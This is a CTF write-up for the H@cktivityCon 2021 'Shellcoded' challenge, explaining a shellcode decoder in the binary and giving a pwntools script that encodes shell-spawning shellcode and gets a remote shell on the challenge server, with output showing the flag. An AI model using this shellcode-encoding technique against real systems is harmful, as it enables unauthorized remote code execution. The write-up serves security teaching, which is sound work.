Tags: shellcode pwn 

Rating:

# H@cktivityCon 2021 CTF

## Shellcoded

> Give me your shellcode. I promise I'll run it!
>
> 379
>
> [`shellcoded`](shellcoded)
>
> author: @M_alpha#3534

Tags: _pwn_ _shellcode_ _x86-64_ _remote-shell_

## Summary

Basic shellcode runner with a coder/decoder.

## Analysis

### Checksec

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

No canary, so there's BOF, but this is really a shellcoding challenge, no need to exploit any missing mitigations since they just run your shellcode for you. See below.

### Decompile with Ghidra

```c
undefined8 main(void)
{
char cVar1;
int iVar2;
code *__buf;
ssize_t sVar3;
uint local_20;

__buf = (code *)aligned_alloc(PAGE_SIZE,PAGE_SIZE);
if (__buf == (code *)0x0) {
fwrite("Failed to allocate memory.\n",1,0x1b,stderr);
exit(1);
}
puts("Enter your shellcode.");
sVar3 = read(0,__buf,PAGE_SIZE);
if (-1 < sVar3) {
for (local_20 = 0; (int)local_20 < sVar3; local_20 = local_20 + 1) {
if ((local_20 & 1) == 0) {
cVar1 = '\x01';
}
else {
cVar1 = -1;
}
__buf[(int)local_20] = (code)((char)__buf[(int)local_20] + (char)local_20 * cVar1);
}
iVar2 = mprotect(__buf,PAGE_SIZE,5);
if (iVar2 != 0) {
free(__buf);
fwrite("Failed to set memory permissions.\n",1,0x22,stderr);
exit(1);
}
(*__buf)();
}
free(__buf);
return 0;
}
```

`(*__buf)();` just runs your shellcode, however, the `for` loop above it will _decode_ your shellcode first, so you'll need to submit a _coded_ payload.

The logic is pretty basic: `decoded[i] = coded[i] +/- i`. The plus or minus depends on if `i` is even (`(local_20 & 1) == 0`) or odd. To create a coded version, just solve for `coded[i]`, IOW, `coded[i] = decoded[i] -/+ i` (notice how I swapped the `+/-`).

> This algorithm is symmetric, so a basic attack would be to just submit your shellcode and extract from GDB the _coded_ version and then use that for the actual challenge.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./shellcoded')

if args.REMOTE:
p = remote('challenge.ctf.games', 31416)
else:
p = process(binary.path)

shellcode = asm(shellcraft.sh())
shellcoded = [ x & 0xff for x in [ shellcode[i] + i if i & 1 else shellcode[i] - i for i in range(len(shellcode)) ]]

p.sendlineafter(b'shellcode.\n',bytearray(shellcoded))
p.interactive()
```

pwntools provided the shellcode, so no need to track that down, then for each byte, if the byte offset within the array is odd (`if i & 1`), then add `i`, else subtract.

> The `& 0xff` is required since Python integer math is not signed 8-bit like the C source above (see the `(char)` casts above).

> The `shellcoded = [...` is Python list comprehension, if that syntax is foreign to you, you know what to Google.
>

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/hacktivityctf2021/shellcoded/shellcoded'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to challenge.ctf.games on port 31416: Done
[*] Switching to interactive mode
$ cat flag.txt
flag{f27646ae277113d24c73dbc66a816721}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/hacktivityctf2021/shellcoded).